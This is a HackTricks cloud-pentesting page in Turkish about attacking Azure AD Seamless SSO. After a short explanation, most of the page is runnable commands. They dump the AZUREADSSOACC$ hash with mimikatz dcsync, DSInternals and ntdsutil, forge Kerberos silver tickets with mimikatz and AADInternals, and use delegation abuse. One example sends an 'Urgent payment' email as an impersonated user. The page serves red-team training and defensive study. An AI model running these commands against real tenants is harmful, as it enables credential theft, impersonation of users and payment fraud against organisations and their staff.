Az - Seamless SSO

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

Temel Bilgiler

Dokümantasyondan: Azure Active Directory Sorunsuz Tek Oturum Açma (Azure AD Sorunsuz SSO), kullanıcıların kurumsal ağınıza bağlı kurumsal cihazlarında olduğunda otomatik olarak oturum açar. Etkinleştirildiğinde, kullanıcıların Azure AD'ye oturum açmak için şifrelerini girmeleri veya genellikle kullanıcı adlarını bile girmeleri gerekmez. Bu özellik, kullanıcılarınıza ek bir yerel bileşen gerektirmeden bulut tabanlı uygulamalarınıza kolay erişim sağlar.

Temel olarak, Azure AD Sorunsuz SSO, kullanıcıların yerel bir etki alanına katılmış bir PC'de olduğunda otomatik olarak oturum açar.

Bu, hem PHS (Şifre Karma Eşitleme) hem de PTA (Geçiş Yolu Kimlik Doğrulaması) tarafından desteklenmektedir.

Masaüstü SSO, kimlik doğrulama için Kerberos kullanır. Yapılandırıldığında, Azure AD Connect, yerel AD'de AZUREADSSOACC$ adında bir bilgisayar hesabı oluşturur. AZUREADSSOACC$ hesabının şifresi, yapılandırma sırasında düz metin olarak Azure AD'ye gönderilir.

Kerberos biletleri, şifrenin NTHash (MD4) ile şifrelendiği ve Azure AD'nin biletleri çözmek için gönderilen şifreyi kullandığı şekilde şifrelenir.

Azure AD, Kerberos biletlerini kabul eden bir uç nokta (https://autologon.microsoftazuread-sso.com) sunar. Etki alanına katılmış bir makinenin tarayıcısı, SSO için bu uç noktaya biletleri ileterek işlem yapar.

Yerel -> bulut

Kullanıcının AZUREADSSOACC$ hesabının şifresi asla değişmez. Bu nedenle, bir etki alanı yöneticisi bu hesabın hash'ini ele geçirebilir ve ardından herhangi bir senkronize edilmiş yerel kullanıcıyla Azure'a bağlanmak için gümüş biletler oluşturabilir:

# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit

# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local

# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos

Artık hash ile gümüş biletler oluşturabilirsiniz:

# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit

# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."

Silver biletini kullanmak için aşağıdaki adımlar gerçekleştirilmelidir:

  1. Tarayıcıyı Başlatmak: Mozilla Firefox açılmalıdır.

  2. Tarayıcıyı Yapılandırmak:

  1. Web Uygulamasına Erişmek:

  • Kuruluşun AAD etki alanıyla entegre olan bir web uygulamasını ziyaret edin. Yaygın bir örnek Office 365'dir.

  1. Kimlik Doğrulama Süreci:

  • Giriş ekranında kullanıcı adı girilmeli, şifre alanı boş bırakılmalıdır.

  • Devam etmek için TAB veya ENTER tuşuna basın.

Bu, etkinse MFA'yı atlamaz.

Yalnızca bulut kullanıcıları için Kerberos biletleri oluşturma

Eğer Active Directory yöneticileri Azure AD Connect'e erişime sahipse, herhangi bir bulut kullanıcısı için SID ayarlayabilirler. Bu şekilde Kerberos biletleri yalnızca bulut kullanıcıları için de oluşturulabilir. Tek gereklilik, SID'in doğru bir SID olmasıdır.

Bulut tabanlı yönetici kullanıcılarının SID'ini değiştirmek artık Microsoft tarafından engellenmektedir. Bilgi için https://aadinternals.com/post/on-prem_admin/ adresini kontrol edin.

Yerel -> Bulut Kaynak Temelli Kısıtlı Delege Aracılığıyla

Bu hesabın bulunduğu konteynerde veya OU'da bilgisayar hesaplarını (AZUREADSSOACC$) yönetebilen herhangi biri, kısıtlı delege aracılığıyla hesaba erişebilir.

python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$

Referanslar

A'dan Z'ye AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Last updated